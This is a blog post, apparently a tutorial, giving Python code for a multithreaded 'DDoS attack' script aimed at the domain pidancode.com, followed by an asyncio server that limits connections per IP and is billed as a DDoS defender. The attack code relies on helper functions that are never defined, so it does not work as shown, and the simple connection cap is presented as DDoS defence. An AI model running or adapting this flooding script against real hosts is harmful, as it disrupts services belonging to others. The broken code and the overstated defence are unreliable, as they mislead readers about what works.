banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python writes DDoS and defense systems.

Directly enter the code:

import threading
import random

class DDoSAttackThread(threading.Thread):
    """DDoS attack thread"""
    def __init__(self, target, port, num_requests):
        """Initialize DDoS attack thread"""
        super().__init__()
        self.target = target
        self.port = port
        self.num_requests = num_requests

    def run(self):
        """Execute DDoS attack"""
        ip = "127.0.0.1"
        for _ in range(self.num_requests):
            data = generate_random_data(1024)
            send_data_to_server(self.target, self.port, data, ip)

class DDoSAttackManager:
    """DDoS attack manager"""
    def __init__(self):
        """Initialize DDoS attack manager"""
        self.threads = []

    def add_thread(self, target, port, num_requests):
        """Add DDoS attack thread"""
        thread = DDoSAttackThread(target, port, num_requests)
        self.threads.append(thread)

    def start_attack(self):
        """Start DDoS attack"""
        for thread in self.threads:
            thread.start()

if __name__ == "__main__":
    manager = DDoSAttackManager()
    for _ in range(4):
        manager.add_thread("pidancode.com", 80, 100)
    manager.start_attack()

The code defines two classes: DDoSAttackThread and DDoSAttackManager.

DDoSAttackThread is a class that inherits from threading.Thread and represents a DDoS attack thread. In the init method, we pass in the target IP address, port, and number of requests, and save them in instance variables. In the run method, we use a loop to execute the DDoS attack. In each iteration, we generate random data and send it to the target server using the send_data_to_server function.

DDoSAttackManager is a class used to manage DDoS attack threads. In the init method, we create an empty list to store DDoS attack threads. In the add_thread method, we create a DDoSAttackThread instance and add it to the threads list. In the start_attack method, we iterate over the threads list and start each DDoS attack thread.

In the main program, we create an instance of DDoSAttackManager called manager. Then, we use a loop to add 4 DDoS attack threads to the manager, each thread attacking the target IP address "pidancode.com" on port 80 with 100 requests. Finally, we call the start_attack method of the manager to start the DDoS attack.

import asyncio

class DDoSDefender:
    """DDoS defender"""
    def __init__(self, max_conn=100):
        """Initialize DDoS defender"""
        self.max_conn = max_conn
        self.conn_counts = {}

    async def handle_connection(self, reader, writer):
        """Handle connection requests"""
        addr = writer.get_extra_info('peername')
        ip = addr[0]
        if ip not in self.conn_counts:
            self.conn_counts[ip] = 0
        if self.conn_counts[ip] >= self.max_conn:
            writer.close()
            print(f"Connection limit reached for IP address {ip}, connection refused")
        else:
            self.conn_counts[ip] += 1
            writer.write(b"Welcome to pidancode.com!")
            await writer.drain()
            data = await reader.read(1024)
            print(f"Received {len(data)} bytes of data from {ip}")
            writer.close()
            self.conn_counts[ip] -= 1

    async def run(self):
        """Start DDoS defender"""
        server = await asyncio.start_server(
            self.handle_connection, '0.0.0.0', 80)
        addr = server.sockets[0].getsockname()
        print(f'Serving on {addr}')

        async with server:
            await server.serve_forever()

if __name__ == "__main__":
    defender = DDoSDefender()
    asyncio.run(defender.run())

The code uses the asyncio library in Python to implement asynchronous IO operations.

First, we define a class called DDoSDefender to encapsulate the functionality of the DDoS defender. In the init method of the class, we can pass a max_conn parameter to set the maximum number of connections. We also create a dictionary called conn_counts to record the connection count for each IP address.

Next, we define an asynchronous method called handle_connection to handle connection requests. It takes two parameters: reader and writer, which represent objects for reading and writing data.

In the method, we first get the client's IP address using writer.get_extra_info('peername'). Then, we check if the IP address exists in the conn_counts dictionary. If it doesn't, we initialize it to 0.

Next, we check if the connection count for the IP address has reached the maximum connection limit. If it has, we close the connection and print a message. If it hasn't, we increment the connection count for the IP address, send a welcome message to the client, and await writer.drain() to ensure the write operation is complete. Then, we use await reader.read(1024) to read data from the client and print the number of bytes received.

Finally, we close the connection and decrement the connection count for the IP address.

Next, we define an asynchronous method called run to start the DDoS defender. In the method, we use asyncio.start_server to create a server object, specifying the IP address and port to listen on.

Then, we use server.sockets[0].getsockname() to get the server's address information and print it.

Next, we use async with server to manage the server's lifecycle, and call server.serve_forever() to start the server and keep it running.

Finally, in the main program, we create an instance of DDoSDefender called defender, and use asyncio.run to run the defender's run method, thereby starting the DDoS defender.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.